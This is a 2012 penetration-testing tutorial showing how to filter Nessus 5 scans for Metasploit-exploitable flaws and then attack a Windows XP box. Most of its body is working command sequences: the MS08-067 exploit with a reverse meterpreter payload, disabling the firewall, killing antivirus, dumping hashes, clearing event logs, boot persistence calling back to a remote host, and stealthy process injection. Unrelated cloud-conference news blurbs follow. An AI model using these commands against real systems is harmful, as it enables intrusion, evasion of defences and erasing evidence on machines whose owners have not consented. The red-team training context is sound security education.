|By David Dodd||
|September 16, 2012 02:00 PM EDT||
The Metasploit Framework is a penetration testing toolkit, exploit development platform, and research tool. The framework includes hundreds of working remote exploits for a variety of platforms. Payloads, encoders, and nop slide generators can be mixed and matched with exploit modules to solve almost any exploit-related task. This tutorial will walk you through how to use the latest version of Nessus pre-built plugin filter ‘Metasploit Framework' in your pentest assignments. It will also cover some useful metasploit tips to achieve privilege escalation. Wouldn't it be great to have a shell on another box just in case you lose your meterpreter shell? This tutorial covers this and other metasploit tips.
Integrating Nessus 5 with Metasploit
With the release of Nessus 5 by Tenable Network Security users now have better filtering in policy creation, analysis, reporting, and faster scanning time. The product allows you to select only those checks that cover vulnerabilities whose exploits are in the Metasploit Exploit framework for both local and remote exploits. To start go to the Tenable site http://www.tenable.com/products and download Nessus 5 and install. The new installation will install in /opt/nessus and will install overtop any previous version of the product. Start nessus daemon and open up your web browser to https://localhost:8834 login and go to policies and click add (see Figure #1) give your policy a title and click next. On the Credentials page leave it as default and click next at the bottom. The Plugins page will follow where you will add a filter and will be presented with a drop down with many different options, choose the ‘Metasploit Exploit Framework' make sure that ‘is equal to' and ‘true' is selected and click save (see Figure #2). Next disable all plugins and select the Family name that you would want to enable and click on the enable plugins in the upper right hand corner of the page. Do this for all Family plugins that you would like to enable and click submit at the bottom.
Figure #1 open web browser on https://localhost:8834
Figure #2 Select Metasploit Exploit Framework from the drop down
To begin a scan click on the scans and add, this will allow you to name the scan and type either run now, scheduled, or template. The policy dropdown is where you pick your policy that you created earlier followed by selecting a target. Now you can start a scan and the time it will take is surprisingly fast. After you are given a report that lists the Plugin ID, count, severity, name, and family of each as they relate to the Metasploit Framework (see Figure 3). The name section gives what exploit within Metasploit can be used successfully against the box.
Figure #3 Report gives what exploit in Metasploit can be used successfully on the box
You can also start a scan in the Metasploit Framework itself and use the plugin. Start the msfconsole and load nessus.
msf > load nessus
Once the plugins are loaded connect to the server.
msf > nessus_connect cr0wn:[email protected] ok
Now show the available plugins with the nessus_policy_list command (see Figure #4).
Figure #4 nessus_policy_list
You can use the policy to scan the network by using the policy ID, name of scan, and specifying a target IP range using the nessus_scan_new command (see Figure #5). For this scan we will be targeting a single Windows XP box with the IP address of 10.10.3.219. If you are connected to a database within the Metasploit Framework you can open a view the information from the console otherwise you can view them form the web browser. Now you can select an exploit to use on the target system such as the MS08-067, or MS06-040.
Figure #5 nessus_scan_new
Basic Exploitation using Metasploit
At this point we will use the MS08-067 flaw to our advantage and get a meterpreter shell on the box. To accomplish this do the following:
msf > use exploit/windows/smb/ms08_067_netapi
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 10.10.3.218
msf > set lport 5555
msf > set rhost 10.10.3.188
msf > exploit
Useful meterpreter commands
Now we are left with a meterpreter shell on the windows box and there are a number of things that can be done now. Checking to see if the box your on is a virtual machine, has anti-virus, what the local subnet looks like, and what kind of security configuration is on the victim system is a good first start. Metasploit comes with some useful scripts to perform these tasks.
meterpreter > run checkvm
This will show you the help menu with options, choose -d to disable built in firewall.
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d
To kill most antivirus, run the ‘killav' script.
meterpreter > run killav
To identify the local subnet mask that the victim is on run the ‘get_local_subnets' script
meterpreter > run get_local_subnets
You may want to search the host for interesting information such as *.pdf, *.txt, *.doc, *.jpg, etc. Use the search function in meterpreter.
meterpreter > search -h
meterpreter > search -f *.pdf
To get some detailed information about the system use the ‘winenum' script and the ‘scraper' script. Winenum script will dump tokens, hashes and provide you with lots of information (see Figure #6). The ‘scraper' script will pull down the registry and system information.
meterpreter > run winenum
meterpreter > run scraper
Figure #6 winenum command
Now we should delete the log files. To do this, open up into the meterpreter scripting menu by using the ‘irb' command. Then issue the following at the >> prompt:
log = client.sys.enentlog.open(‘system')
meterpreter > irb
[*] Starting IRB shell
[*] The ‘client' variable holds the meterpreter client
>> log = client.sys.eventlog.open(‘system')
While we're at it lets go ahead and delete the security log and application log, just change (‘system') to (‘security') & (‘application').
Being able to shove a meterpreter shell to team members that you are performing a pentest with is extremely valuable. This option had not presented itself to me till I took a class on Industrial Control Systems Advanced Cybersecurity (301) given by the US-CERT in Idaho Falls. I would recommend anyone doing work in the realm of ICS/ SCADA systems to take this class. Jeff Hahn and his group at the Idaho National Laboratory are doing great work. The class provides intensive hands-on training on protecting and security industrial control systems from cyber-attacks. On day 4 there is a 12-hour exercise where participants are attacking (Red Team) or defending (Blue Team). I was on the red team and having the ability to throw meterpreter shells to my fellow red team members would be helpful. Here are a few examples of how this is done.
The first example is using the meterpreter script ‘persistence', to see a list of options use the -h switch.
Meterpreter > run persistence -h
Meterpreter > run persistence -X -i 5 -p 5555 -r 10.10.3.180
This would throw a meterpreter session to remote system -r 10.10.3.180 at an interval (5 seconds), at port -p 5555, and would be loaded into and run (-X) every time the machine booted up. The recipient of this would be waiting for the meterpreter shell by using the multi/handler.
msf > use multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 10.10.3.180
msf > set lport 5555
msf > exploit
The second example is a bit stealthier and has the ability to inject your meterpreter shell into an existing process. After running the ps command from within your meterpreter shell you get a list of running processes. To view a list of running process issue the ‘ps' command.
meterpreter > ps
Look through the list of process and identify PID's that can be used that will not draw attention such as IEXPLORER.EXE PID 3664 (see Figure #7).
Figure #7 ps command
Being able to inject the meterpreter shell into the IEXPLORE.EXE process would be stealthy. Let's run the multi_meter_inject command using the following switches.
meterpreter > run multi_meter_inject -pt windows/meterpreter/reverse_tcp -mr 10.10.3.180 -p 3664
This would throw a meterpreter session to remote system -mr 10.10.3.180, at port -p 3664. The recipient of this would be waiting for the meterpreter shell by using the multi/handler just like above, just change the lport to 3664 (see Figure #8).
Figure #8 Recipient of meterpreter shell using multi_meter_inject
Now when performing some basic analysis on the victim box you can run ‘tasklist' and nothing looks out of place (see Figure #9), but when you run ‘netstat -an' you will see the foreign connection (see Figure #10).
Figure #9 tasklist command
Figure #10 netstat -an command
A third way to send off meterpreter shells to a foreign box for your friends or one that you own is to use the meterpreter script duplicate. At the meterpreter prompt issue the following commands:
meterpreter > run duplicate -h
This will give you the various options.
meterpreter > run duplicate -r 10.10.3.180
This will send a meterpreter shell to the IP address 10.10.3.180 on the default port of 4546 (see Figure #11).
Figure #11 Recipient of meterpreter shell using duplicate
You can run a packet sniffer on the box after you allow your team member to obtain meterpreter shells if you like. This meterpreter script, like the ones above written by Carlos Perez is called packetrecorder and allows some more granularities when capturing packets.
meterpreter > run packetrecorder
This will give you a list of options to use. You will need to determine the interface to listen on; this can be obtained by issuing the following command ‘run packetrecorder -li'. This will give a list of network interfaces; choose one and a destination to write the file to.
meterpreter > run packetrecorder -i -l /home/tmp/
[*] Packet capture interval is 30 Seconds
The file can later be reviewed with wireshark or tcpdump.
Creating replica copies to tolerate a certain number of failures is easy, but very expensive at cloud-scale. Conventional RAID has lower overhead, but it is limited in the number of failures it can tolerate. And the management is like herding cats (overseeing capacity, rebuilds, migrations, and degraded performance). Download Slide Deck: ▸ Here In his general session at 18th Cloud Expo, Scott Cleland, Senior Director of Product Marketing for the HGST Cloud Infrastructure Business Unit, discusse...
Jun. 29, 2016 08:30 AM EDT Reads: 1,042
A strange thing is happening along the way to the Internet of Things, namely far too many devices to work with and manage. It has become clear that we'll need much higher efficiency user experiences that can allow us to more easily and scalably work with the thousands of devices that will soon be in each of our lives. Enter the conversational interface revolution, combining bots we can literally talk with, gesture to, and even direct with our thoughts, with embedded artificial intelligence, wh...
Jun. 29, 2016 08:30 AM EDT Reads: 1,156
What does it look like when you have access to cloud infrastructure and platform under the same roof? Let’s talk about the different layers of Technology as a Service: who cares, what runs where, and how does it all fit together. In his session at 18th Cloud Expo, Phil Jackson, Lead Technology Evangelist at SoftLayer, an IBM company, spoke about the picture being painted by IBM Cloud and how the tools being crafted can help fill the gaps in your IT infrastructure.
Jun. 29, 2016 08:15 AM EDT Reads: 910
SaaS companies can greatly expand revenue potential by pushing beyond their own borders. The challenge is how to do this without degrading service quality. In his session at 18th Cloud Expo, Adam Rogers, Managing Director at Anexia, discussed how IaaS providers with a global presence and both virtual and dedicated infrastructure can help companies expand their service footprint with low “go-to-market” costs.
Jun. 29, 2016 04:00 AM EDT Reads: 1,076
"delaPlex is a software development company. We do team-based outsourcing development," explained Mark Rivers, COO and Co-founder of delaPlex Software, in this SYS-CON.tv interview at 18th Cloud Expo, held June 7-9, 2016, at the Javits Center in New York City, NY.
Jun. 28, 2016 07:30 PM EDT Reads: 427
The U.S. Army Intelligence and Security Command (INSCOM) has awarded BAE Systems a five-year contract worth as much as $75 million to provide enhanced geospatial intelligence technical and analytical support. The award was issued under the INSCOM Global Intelligence indefinite delivery, indefinite quantity contract.
Jun. 28, 2016 07:15 PM EDT Reads: 411
IoT is rapidly changing the way enterprises are using data to improve business decision-making. In order to derive business value, organizations must unlock insights from the data gathered and then act on these. In their session at @ThingsExpo, Eric Hoffman, Vice President at EastBanc Technologies, and Peter Shashkin, Head of Development Department at EastBanc Technologies, discussed how one organization leveraged IoT, cloud technology and data analysis to improve customer experiences and effi...
Jun. 28, 2016 07:15 PM EDT Reads: 397
The IoT is changing the way enterprises conduct business. In his session at @ThingsExpo, Eric Hoffman, Vice President at EastBanc Technologies, discussed how businesses can gain an edge over competitors by empowering consumers to take control through IoT. He cited examples such as a Washington, D.C.-based sports club that leveraged IoT and the cloud to develop a comprehensive booking system. He also highlighted how IoT can revitalize and restore outdated business models, making them profitable ...
Jun. 28, 2016 06:30 PM EDT Reads: 382
There are several IoTs: the Industrial Internet, Consumer Wearables, Wearables and Healthcare, Supply Chains, and the movement toward Smart Grids, Cities, Regions, and Nations. There are competing communications standards every step of the way, a bewildering array of sensors and devices, and an entire world of competing data analytics platforms. To some this appears to be chaos. In this power panel at @ThingsExpo, moderated by Conference Chair Roger Strukhoff, Bradley Holt, Developer Advocate a...
Jun. 28, 2016 04:30 PM EDT Reads: 913
Predictive analytics tools monitor, report, and troubleshoot in order to make proactive decisions about the health, performance, and utilization of storage. Most enterprises combine cloud and on-premise storage, resulting in blended environments of physical, virtual, cloud, and other platforms, which justifies more sophisticated storage analytics. In his session at 18th Cloud Expo, Peter McCallum, Vice President of Datacenter Solutions at FalconStor, discussed using predictive analytics to mon...
Jun. 28, 2016 04:30 PM EDT Reads: 479
Dialogic has announced that ZVRS chose Dialogic® PowerMedia™ XMS software media server as part of its latest video relay and translation service offering. ZVRS uses Dialogic’s PowerMedia XMS technology to provide a robust solution that supports a broad range of legacy devices and any-to-any video capabilities with its flagship Z70 videophone. ZVRS selected Dialogic’s solution to facilitate a release of Z70 that met its stringent requirements for legacy device support (H.263 and H.264) with high...
Jun. 28, 2016 04:15 PM EDT Reads: 411
Your business relies on your applications and your employees to stay in business. Whether you develop apps or manage business critical apps that help fuel your business, what happens when users experience sluggish performance? You and all technical teams across the organization – application, network, operations, among others, as well as, those outside the organization, like ISPs and third-party providers – are called in to solve the problem.
Jun. 28, 2016 02:45 PM EDT Reads: 893
"SpeedyCloud's specialty lies in providing cloud services - we provide IaaS for Internet and enterprises companies," explained Hao Yu, CEO and co-founder of SpeedyCloud, in this SYS-CON.tv interview at 18th Cloud Expo, held June 7-9, 2016, at the Javits Center in New York City, NY.
Jun. 28, 2016 02:45 PM EDT Reads: 945
More and more companies are looking to microservices as an architectural pattern for breaking apart applications into more manageable pieces so that agile teams can deliver new features quicker and more effectively. What this pattern has done more than anything to date is spark organizational transformations, setting the foundation for future application development. In practice, however, there are a number of considerations to make that go beyond simply “build, ship, and run,” which changes ho...
Jun. 28, 2016 02:15 PM EDT Reads: 1,095
"Avere Systems is a hybrid cloud solution provider. We have customers that want to use cloud storage and we have customers that want to take advantage of cloud compute," explained Rebecca Thompson, VP of Marketing at Avere Systems, in this SYS-CON.tv interview at 18th Cloud Expo, held June 7-9, 2016, at the Javits Center in New York City, NY.
Jun. 28, 2016 02:00 PM EDT Reads: 494
Machine Learning helps make complex systems more efficient. By applying advanced Machine Learning techniques such as Cognitive Fingerprinting, wind project operators can utilize these tools to learn from collected data, detect regular patterns, and optimize their own operations. In his session at 18th Cloud Expo, Stuart Gillen, Director of Business Development at SparkCognition, discussed how research has demonstrated the value of Machine Learning in delivering next generation analytics to imp...
Jun. 28, 2016 01:00 PM EDT Reads: 841
The cloud market growth today is largely in public clouds. While there is a lot of spend in IT departments in virtualization, these aren’t yet translating into a true “cloud” experience within the enterprise. What is stopping the growth of the “private cloud” market? In his general session at 18th Cloud Expo, Nara Rajagopalan, CEO of Accelerite, explored the challenges in deploying, managing, and getting adoption for a private cloud within an enterprise. What are the key differences between wh...
Jun. 28, 2016 12:45 PM EDT Reads: 978
University of Colorado Athletics has selected FORTRUST, Colorado’s only Tier III Gold certified data center, as their official data center and colocation services provider, FORTRUST announced today. A nationally recognized and prominent collegiate athletics program, CU provides a high quality and comprehensive student-athlete experience. The program sponsors 17 varsity teams and in their history, the Colorado Buffaloes have collected an impressive 28 national championships. Maintaining uptime...
Jun. 28, 2016 12:00 PM EDT Reads: 649
It's easy to assume that your app will run on a fast and reliable network. The reality for your app's users, though, is often a slow, unreliable network with spotty coverage. What happens when the network doesn't work, or when the device is in airplane mode? You get unhappy, frustrated users. An offline-first app is an app that works, without error, when there is no network connection. In his session at 18th Cloud Expo, Bradley Holt, a Developer Advocate with IBM Cloud Data Services, discussed...
Jun. 28, 2016 12:00 PM EDT Reads: 956
Connected devices and the industrial internet are growing exponentially every year with Cisco expecting 50 billion devices to be in operation by 2020. In this period of growth, location-based insights are becoming invaluable to many businesses as they adopt new connected technologies. Knowing when and where these devices connect from is critical for a number of scenarios in supply chain management, disaster management, emergency response, M2M, location marketing and more. In his session at @Th...
Jun. 28, 2016 12:00 PM EDT Reads: 1,196